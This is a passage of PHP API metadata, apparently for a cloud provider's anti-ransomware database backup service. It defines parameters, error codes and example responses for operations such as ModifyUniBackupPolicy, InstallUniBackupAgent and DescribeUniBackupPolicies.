the precheck task was started.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1660448660', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"CE500770-42D3-442E-9DDD-156E0F9F****\\",\\n \\"Progress\\": 100,\\n \\"Result\\": \\"[\\\\n {\\\\n \\\\\\"instanceId\\\\\\": \\\\\\"i-wz91if83t97xgtn2****\\\\\\",\\\\n \\\\\\"checkTime\\\\\\": 1671245753,\\\\n \\\\\\"sourceType\\\\\\": \\\\\\"MSSQL\\\\\\",\\\\n \\\\\\"results\\\\\\":\\\\n [\\\\n {\\\\n \\\\\\"item\\\\\\": \\\\\\"OSS_INTERNAL_ENDPOINT_CONNECTIVITY\\\\\\",\\\\n \\\\\\"result\\\\\\": \\\\\\"PASSED\\\\\\"\\\\n },\\\\n {\\\\n \\\\\\"item\\\\\\": \\\\\\"SERVICE_CONNECTIVITY\\\\\\",\\\\n \\\\\\"result\\\\\\": \\\\\\"PASSED\\\\\\"\\\\n },\\\\n {\\\\n \\\\\\"item\\\\\\": \\\\\\"SQL_SERVER_DB_IN_SIMPLE_RECOVERY_MODE\\\\\\",\\\\n \\\\\\"result\\\\\\": \\\\\\"WARNING\\\\\\"\\\\n },\\\\n {\\\\n \\\\\\"item\\\\\\": \\\\\\"SQL_SERVER_DB_NOT_ONLINE\\\\\\",\\\\n \\\\\\"result\\\\\\": \\\\\\"PASSED\\\\\\"\\\\n }\\\\n ]\\\\n }\\\\n]\\",\\n \\"CompletedTime\\": 1657524396,\\n \\"Description\\": \\"completed\\",\\n \\"UpdatedTime\\": 1671084106,\\n \\"CreatedTime\\": 1660448660\\n}","type":"json"}]', 'title' => 'QueryPreCheckDatabase', ], 'QueryDiscoverDatabase' => [ 'summary' => 'Queries the progress of a database scan task.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'CreateMark', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the scan task.'."\n" ."\n" .'> You can call the [StartDiscoverDatabaseTask](~~StartDiscoverDatabaseTask~~) operation to query the ID of the task.'."\n", 'type' => 'string', 'required' => false, 'example' => '7f7b051f-7d1c-46da-b253-a03f3a27****', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'TaskProgress' => [ 'description' => 'The progress of the database scan task in percentage.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '90', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '7E0618A9-D5EF-4220-9471-C42B5E92****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"TaskProgress\\": 90,\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42B5E92****\\"\\n}","type":"json"}]', 'title' => 'QueryDiscoverDatabase', ], 'ModifyUniBackupPolicy' => [ 'summary' => 'Modifies an anti-ransomware policy for databases.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas7JO011', ], ], 'parameters' => [ [ 'name' => 'PolicyId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the anti-ransomware policy.'."\n" ."\n" .'> You can call the [DescribeUniBackupPolicies](~~DescribeUniBackupPolicies~~) operation to query the IDs of anti-ransomware policies.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '123', ], ], [ 'name' => 'PolicyName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the anti-ransomware policy.'."\n", 'type' => 'string', 'required' => false, 'example' => 'databak', ], ], [ 'name' => 'Retention', 'in' => 'query', 'schema' => [ 'description' => 'The retention period of the backup snapshot.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '7', ], ], [ 'name' => 'SpeedLimiter', 'in' => 'query', 'schema' => [ 'description' => 'The maximum network bandwidth that is allowed during data backup. Unit: bytes.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1048576', ], ], [ 'name' => 'AccountName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the database account.'."\n", 'type' => 'string', 'required' => false, 'example' => 'sa', ], ], [ 'name' => 'AccountPassword', 'in' => 'query', 'schema' => [ 'description' => 'The password of the database account.'."\n", 'type' => 'string', 'required' => false, 'example' => 'Sa@****', ], ], [ 'name' => 'FullPlan', 'in' => 'query', 'style' => 'json', 'schema' => [ 'description' => 'The policy for full backup. The value of this parameter is a JSON string that contains the following fields:'."\n" ."\n" .'* **start**: the start time of a backup task'."\n" .'* **interval**: the interval of backup tasks'."\n" .'* **type**: the unit of the interval'."\n" .'* **days**: the days of a week on which a backup task is performed'."\n", 'type' => 'object', 'required' => false, 'example' => '{"days":[4],"interval":1,"planType":"weekly","startTime":"22:00:00"}', ], ], [ 'name' => 'IncPlan', 'in' => 'query', 'style' => 'json', 'schema' => [ 'description' => 'The policy for incremental backup. The value of this parameter is a JSON string that contains the following fields:'."\n" ."\n" .'* **start**: the start time of a backup task'."\n" .'* **interval**: the interval of backup tasks'."\n" .'* **type**: the unit of the interval'."\n" .'* **days**: the days of a week on which a backup task is performed'."\n", 'type' => 'object', 'required' => false, 'example' => '{"interval":1,"planType":"daily","startTime":"23:30:00"}', ], ], [ 'name' => 'PolicyStatus', 'in' => 'query', 'schema' => [ 'description' => 'The status of the anti-ransomware policy. Valid values:'."\n" ."\n" .'* **enabled**'."\n" .'* **disabled**'."\n", 'type' => 'string', 'required' => false, 'example' => 'enabled', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '3F6FAB39-5AF7-5B2C-A17D-16D52AE0****', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'FailedToActivateUniBackupInstance', 'errorMessage' => 'Failed to activate unbackup instance.', ], [ 'errorCode' => 'AntiRansomwareCapacityUseUp', 'errorMessage' => 'anti ransomware capacity use up', ], [ 'errorCode' => 'InvalidParam', 'errorMessage' => 'There was an error with your request.', ], [ 'errorCode' => 'UniBackupPlanNotFound', 'errorMessage' => 'The backup plan cannot be found.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"3F6FAB39-5AF7-5B2C-A17D-16D52AE0****\\"\\n}","type":"json"}]', 'title' => 'ModifyUniBackupPolicy', ], 'InstallUniBackupAgent' => [ 'summary' => 'Installs the anti-ransomware agent for databases.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'none', ], 'parameters' => [ [ 'name' => 'PolicyId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the anti-ransomware policy.'."\n" ."\n" .'> You can call the [DescribeUniBackupPolicies](~~DescribeUniBackupPolicies~~) operation to query the IDs of anti-ransomware policies.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '123', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '53ACA55D-0325-5056-A72D-D0EC0B9C****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"53ACA55D-0325-5056-A72D-D0EC0B9C****\\"\\n}","type":"json"}]', 'title' => 'InstallUniBackupAgent', ], 'DescribeUniSupportRegion' => [ 'summary' => 'Queries the region that is supported by anti-ransomware for databases.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'F35F45B0-5D6B-4238-BE02-A62D0760****', ], 'UniSupportRegion' => [ 'description' => 'An array consisting of the region that is supported by anti-ransomware for databases.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The region that is supported by anti-ransomware for databases.'."\n", 'type' => 'string', 'example' => 'cn-hangzhou', ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F35F45B0-5D6B-4238-BE02-A62D0760****\\",\\n \\"UniSupportRegion\\": [\\n \\"cn-hangzhou\\"\\n ]\\n}","type":"json"}]', 'title' => 'DescribeUniSupportRegion', ], 'DescribeUniRecoverableList' => [ 'summary' => 'Queries the backup snapshots from which the data of a database can be restored.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas7JO011', ], ], 'parameters' => [ [ 'name' => 'PolicyId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the anti-ransomware policy.'."\n" ."\n" .'> You can call the [DescribeUniBackupPolicies](~~DescribeUniBackupPolicies~~) operation to query the IDs of anti-ransomware policies.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '123', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: 20. If you leave this parameter empty, 20 entries are returned on each page.'."\n" ."\n" .'> We recommend that you do not leave this parameter empty.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'Database', 'in' => 'query', 'schema' => [ 'description' => 'The name of the database.'."\n", 'type' => 'string', 'required' => false, 'example' => 'msdb', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'F35F45B0-5D6B-4238-BE02-A62D0760****', ], 'Database' => [ 'description' => 'The name of the database.'."\n", 'type' => 'string', 'example' => 'msdb', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '23', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'RecoverableInfoList' => [ 'description' => 'An array that consists of the backup snapshots.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the backup snapshot.'."\n", 'type' => 'object', 'properties' => [ 'LastTime' => [ 'description' => 'The timestamp of the last backup. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1671468180000', ], 'ResetTime' => [ 'description' => 'The point in time for restoration in the backup version that is used. The database is an Oracle database.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '2021-01-30 08:04:36', ], 'RestoreInfo' => [ 'description' => 'The information about the database. This parameter is available when the database is a Microsoft SQL Server (MSSQL) database. The value is a JSON string. Valid values:'."\n" ."\n" .'* **name**: the name of the database'."\n" .'* **files**: the path to the database files'."\n", 'type' => 'string', 'example' => '{'."\n" .' "files": {'."\n" .' "qtc": "F:\\\\database\\\\qtc.mdf",'."\n" .' "qtc_log": "F:\\\\database\\\\qtc_0.ldf"'."\n" .' },'."\n" .' "name": "qtc"'."\n" .'}', ], 'FirstTime' => [ 'description' => 'The timestamp of the first backup. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1671468180000', ], 'ResetScn' => [ 'description' => 'The identifier of the point in time for restoration in the backup version that is used. The database is an Oracle database.'."\n", 'type' => 'string', 'example' => '4529940.0', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"CurrentPage\\": 1,\\n \\"RequestId\\": \\"F35F45B0-5D6B-4238-BE02-A62D0760****\\",\\n \\"Database\\": \\"msdb\\",\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 23,\\n \\"Count\\": 20,\\n \\"RecoverableInfoList\\": [\\n {\\n \\"LastTime\\": 1671468180000,\\n \\"ResetTime\\": 0,\\n \\"RestoreInfo\\": \\"{\\\\n \\\\\\"files\\\\\\": {\\\\n \\\\\\"qtc\\\\\\": \\\\\\"F:\\\\\\\\\\\\\\\\database\\\\\\\\\\\\\\\\qtc.mdf\\\\\\",\\\\n \\\\\\"qtc_log\\\\\\": \\\\\\"F:\\\\\\\\\\\\\\\\database\\\\\\\\\\\\\\\\qtc_0.ldf\\\\\\"\\\\n },\\\\n \\\\\\"name\\\\\\": \\\\\\"qtc\\\\\\"\\\\n}\\",\\n \\"FirstTime\\": 1671468180000,\\n \\"ResetScn\\": \\"4529940.0\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeUniRecoverableList', ], 'DescribeUniBackupPolicyDetail' => [ 'summary' => 'Queries the details of an anti-ransomware policy for databases.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasA0IBMB', ], ], 'parameters' => [ [ 'name' => 'PolicyId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the anti-ransomware policy.'."\n" ."\n" .'> You can call the [DescribeUniBackupPolicies](~~DescribeUniBackupPolicies~~) operation to query the IDs of anti-ransomware policies.'."\n", 'type' => 'string', 'required' => true, 'example' => '123', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'F35F45B0-5D6B-4238-BE02-A62D0760****', ], 'UniBackupPolicyDTO' => [ 'description' => 'The details of the anti-ransomware policy.'."\n", 'type' => 'object', 'properties' => [ 'PolicyStatus' => [ 'description' => 'The status of the anti-ransomware policy. Valid values:'."\n" ."\n" .'* **initiating**: initializing'."\n" .'* **opening**: enabled'."\n" .'* **closing**: disabled'."\n" .'* **deleting**: deleting'."\n", 'type' => 'string', 'example' => 'opening', ], 'DatabaseType' => [ 'description' => 'The type of the database. Valid values:'."\n" ."\n" .'* **MYSQL**'."\n" .'* **MSSQL**'."\n" .'* **Oracle**'."\n", 'type' => 'string', 'example' => 'ORACLE', ], 'InstanceName' => [ 'description' => 'The name of the server.'."\n", 'type' => 'string', 'example' => 'sql-test-01', ], 'Retention' => [ 'description' => 'The retention period of the backup snapshot.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '7', ], 'SpeedLimiter' => [ 'description' => 'The maximum network bandwidth that is allowed during data backup. Unit: bytes.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '5242880', ], 'PolicyName' => [ 'description' => 'The name of the anti-ransomware policy.'."\n", 'type' => 'string', 'example' => 'auto_test_sql', ], 'InstanceId' => [ 'description' => 'The ID of the server.'."\n", 'type' => 'string', 'example' => 'i-2zefcy2id5d60m9t****', ], 'PolicyId' => [ 'description' => 'The ID of the anti-ransomware policy.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '123', ], 'AgentStatus' => [ 'description' => 'The status of the database client. Valid values:'."\n" ."\n" .'* **UNKNOWN**: unknown'."\n" .'* **INSTALLED**: installed'."\n" .'* **INSTALL_FAILED**: installation failed'."\n" .'* **UNINSTALL_FAILED**: uninstallation failed'."\n", 'type' => 'string', 'example' => 'INSTALLED', ], 'AccountName' => [ 'description' => 'The name of the database account.'."\n", 'type' => 'string', 'example' => 'admin', ], 'FullPlan' => [ 'description' => 'The details of the policy for full backup.'."\n", 'type' => 'object', 'properties' => [ 'StartTime' => [ 'description' => 'The time when the full backup started. The time is in the HH:mm:ss format.'."\n", 'type' => 'string', 'example' => '00:10:00', ], 'PlanType' => [ 'description' => 'The unit of the interval. Valid values:'."\n" ."\n" .'* **hourly**: hour'."\n" .'* **daily**: day'."\n" .'* **weekly**: week'."\n", 'type' => 'string', 'example' => 'daily', ], 'Interval' => [ 'description' => 'The interval of backup tasks.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'Days' => [ 'description' => 'An array that consists of the days of a week on which the backup is performed.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The day of a week on which the backup is performed. Valid values:'."\n" ."\n" .'* **0**: Sunday'."\n" .'* **1**: Monday'."\n" .'* **2**: Tuesday'."\n" .'* **3**: Wednesday'."\n" .'* **4**: Thursday'."\n" .'* **5**: Friday'."\n" .'* **6**: Saturday'."\n", 'type' => 'string', 'example' => '0', ], ], ], ], 'IncPlan' => [ 'description' => 'The policy for incremental data backup.'."\n", 'type' => 'object', 'properties' => [ 'StartTime' => [ 'description' => 'The time when the incremental data backup starts. The time is in the hh:mm:ss format.'."\n", 'type' => 'string', 'example' => '00:10:00', ], 'PlanType' => [ 'description' => 'The unit of the interval. Valid values:'."\n" ."\n" .'* **hourly**: hour'."\n" .'* **daily**: day'."\n" .'* **weekly**: week'."\n", 'type' => 'string', 'example' => 'daily', ], 'Interval' => [ 'description' => 'The interval of backup tasks.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'Days' => [ 'description' => 'An array that consists of the days of a week on which the backup is performed.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The day of a week on which the backup is performed. Valid values:'."\n" ."\n" .'* **0**: Sunday'."\n" .'* **1**: Monday'."\n" .'* **2**: Tuesday'."\n" .'* **3**: Wednesday'."\n" .'* **4**: Thursday'."\n" .'* **5**: Friday'."\n" .'* **6**: Saturday'."\n", 'type' => 'string', 'example' => '0', ], ], ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F35F45B0-5D6B-4238-BE02-A62D0760****\\",\\n \\"UniBackupPolicyDTO\\": {\\n \\"PolicyStatus\\": \\"opening\\",\\n \\"DatabaseType\\": \\"ORACLE\\",\\n \\"InstanceName\\": \\"sql-test-01\\",\\n \\"Retention\\": 7,\\n \\"SpeedLimiter\\": 5242880,\\n \\"PolicyName\\": \\"auto_test_sql\\",\\n \\"InstanceId\\": \\"i-2zefcy2id5d60m9t****\\",\\n \\"PolicyId\\": 123,\\n \\"AgentStatus\\": \\"INSTALLED\\",\\n \\"AccountName\\": \\"admin\\",\\n \\"FullPlan\\": {\\n \\"StartTime\\": \\"00:10:00\\",\\n \\"PlanType\\": \\"daily\\",\\n \\"Interval\\": 2,\\n \\"Days\\": [\\n \\"0\\"\\n ]\\n },\\n \\"IncPlan\\": {\\n \\"StartTime\\": \\"00:10:00\\",\\n \\"PlanType\\": \\"daily\\",\\n \\"Interval\\": 2,\\n \\"Days\\": [\\n \\"0\\"\\n ]\\n }\\n }\\n}","type":"json"}]', 'title' => 'DescribeUniBackupPolicyDetail', ], 'DescribeUniBackupPolicies' => [ 'summary' => 'Queries the anti-ransomware policies that are created for databases.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'PolicyName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the anti-ransomware policy.'."\n", 'type' => 'string', 'required' => false, 'example' => 'auto_oracle_Hpm', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: 20. If you leave this parameter empty, 20 entries are returned on each page.'."\n" ."\n" .'> We recommend that you do not leave this parameter empty.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'ACF97412-FD09-4D1F-994F-34DF12BR****', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], ], ], 'UniBackupPolicies' => [ 'description' => 'An array that consists of the anti-ransomware policies.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the anti-ransomware policy.'."\n", 'type' => 'object', 'properties' => [ 'PolicyStatus' => [ 'description' => 'The status of the anti-ransomware policy. Valid values:'."\n" ."\n" .'* **initiating**'."\n" .'* **opening**'."\n" .'* **closing**'."\n" .'* **deleting**'."\n" .'* **enabled**'."\n" .'* **disabled**'."\n", 'type' => 'string', 'example' => 'opening', ], 'ErrorMessage' => [ 'description' => 'The error message for the anti-ransomware policy.'."\n", 'type' => 'string', 'example' => 'AttachRamRoleError', ], 'LatestBackResult' => [ 'description' => 'The execution result of the last backup task.'."\n", 'type' => 'string', 'example' => 'completed', ], 'UniRegionId' => [ 'description' => 'The region ID of the server that hosts the database.'."\n", 'type' => 'string', 'example' => 'cn-hangzhou', ], 'PlanStatus' => [ 'description' => 'The status of the backup task. Valid values:'."\n" ."\n" .'* **init**'."\n" .'* **running**'."\n" .'* **completed**'."\n" .'* **restoring**'."\n" .'* **creating**'."\n" .'* **created**'."\n", 'type' => 'string', 'example' => 'creating', ], 'InstanceUuid' => [ 'description' => 'The UUID of the agent that is used to back up the data of the database.'."\n", 'type' => 'string', 'example' => 'cf1bcad4063f11ed800000163e0e****', ], 'PolicyName' => [ 'description' => 'The name of the anti-ransomware policy.'."\n", 'type' => 'string', 'example' => 'auto_oracle_37f', ], 'AgentErrorMessage' => [ 'description' => 'The error message for the anti-ransomware agent.'."\n", 'type' => 'string', 'example' => 'INSTALL_TIMEOUT', ], 'InstanceId' => [ 'description' => 'The ID of the server.'."\n", 'type' => 'string', 'example' => 'i-9dp7mubt5wit6g0h****', ], 'AgentStatus' => [ 'description' => 'The status of the agent. Valid values:'."\n" ."\n" .'* **UNKNOWN**'."\n" .'* **INSTALLED**'."\n" .'* **INSTALL_FAILED**'."\n" .'* **UNINSTALL_FAILED**'."\n", 'type' => 'string', 'example' => 'INSTALLED', ], 'DatabaseType' => [ 'description' => 'The type of the database. Valid values:'."\n" ."\n" .'* **MYSQL**'."\n" .'* **MSSQL**'."\n" .'* **Oracle**'."\n", 'type' => 'string', 'example' => 'MYSQL', ], 'ErrorCode' => [ 'description' => 'The error code returned when the backup task fails.'."\n", 'type' => 'string', 'example' => 'EXPIRED', ], 'DatabaseName' => [ 'description' => 'The name of the database.'."\n", 'type' => 'string', 'example' => 'abc123', ], 'InstanceName' => [ 'description' => 'The name of the server.'."\n", 'type' => 'string', 'example' => 'sql-test-001', ], 'LatestBackupTime' => [ 'description' => 'The time when the last backup task was executed.'."\n", 'type' => 'string', 'example' => '2022-01-01 00:00:11', ], 'InstanceStatus' => [ 'description' => 'The status of the Elastic Compute Service (ECS) instance. Valid values:'."\n" ."\n" .'* **Stopped**'."\n" .'* **Running**'."\n", 'type' => 'string', 'example' => 'Running', ], 'PolicyId' => [ 'description' => 'The ID of the anti-ransomware policy.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '123', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"ACF97412-FD09-4D1F-994F-34DF12BR****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 100,\\n \\"Count\\": 20\\n },\\n \\"UniBackupPolicies\\": [\\n {\\n \\"PolicyStatus\\": \\"opening\\",\\n \\"ErrorMessage\\": \\"AttachRamRoleError\\",\\n \\"LatestBackResult\\": \\"completed\\",\\n \\"UniRegionId\\": \\"cn-hangzhou\\",\\n \\"PlanStatus\\": \\"creating\\",\\n \\"InstanceUuid\\": \\"cf1bcad4063f11ed800000163e0e****\\",\\n \\"PolicyName\\": \\"auto_oracle_37f\\",\\n \\"AgentErrorMessage\\": \\"INSTALL_TIMEOUT\\",\\n \\"InstanceId\\": \\"i-9dp7mubt5wit6g0h****\\",\\n \\"AgentStatus\\": \\"INSTALLED\\",\\n \\"DatabaseType\\": \\"MYSQL\\",\\n \\"ErrorCode\\": \\"EXPIRED\\",\\n \\"DatabaseName\\": \\"abc123\\",\\n \\"InstanceName\\": \\"sql-test-001\\",\\n \\"LatestBackupTime\\": \\"2022-01-01 00:00:11\\",\\n \\"InstanceStatus\\": \\"Running\\",\\n \\"PolicyId\\": 123\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeUniBackupPolicies', ], 'DescribeUniBackupDatabase' => [ 'summary' => 'Queries the information about databases for which anti-ransomware policies are created.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'InstanceName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the Elastic Compute Service (ECS) instance.'."\n", 'type' => 'string', 'required' => false, 'example' => 'test', ], ], [ 'name' => 'DatabaseType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the database. Valid values:'."\n" ."\n" .'* **MYSQL**'."\n" .'* **MSSQL**'."\n" .'* **Oracle**'."\n", 'type' => 'string', 'required' => false, 'example' => 'MYSQL', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: 20. If you leave this parameter empty, 20 entries are returned on each page.'."\n" ."\n" .'> We recommend that you do not leave this parameter empty.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'QueryType', 'in' => 'query', 'schema' => [ 'description' => 'The condition that is used to query the database. Valid values:'."\n" ."\n" .'* **create**: newly created'."\n" .'* **restore**: restored'."\n", 'type' => 'string', 'required' => false, 'example' => 'create', ], ], [ 'name' => 'UniRegionId', 'in' => 'query', 'schema' => [ 'description' => 'The region ID of the server that hosts the database.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cn-hongkong', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' 